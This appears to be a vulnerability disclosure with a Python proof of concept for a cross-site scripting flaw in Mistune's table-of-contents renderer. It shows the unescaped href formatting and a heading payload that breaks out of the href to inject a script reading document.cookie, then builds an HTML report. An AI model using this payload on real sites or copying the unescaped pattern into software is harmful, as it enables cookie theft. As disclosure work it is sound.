Mistune TOC Anchor Injection XSS

def render_toc_ul(toc):
    ...
    for level, k, text in toc:
        # k   = heading id  (used verbatim as href fragment)
        # text = heading text (used verbatim as link label)
        item = '<a href="#{}">{}</a>'.format(k, text)
        # Neither k nor text is passed through escape() at any point

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

def raw_id(token, index):
    return token.get("text", "")

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'

#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul

def raw_id(token, index):
    return token.get("text", "")

# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_file = "baseline_h4.md"
bl_src  = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))

print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)

# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h4.md"
ex_src  = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))

print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)

# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input — {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>TOC output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '&lt;a href="#{{}}"&gt;{{}}&lt;/a&gt;'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit",  "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

python poc.py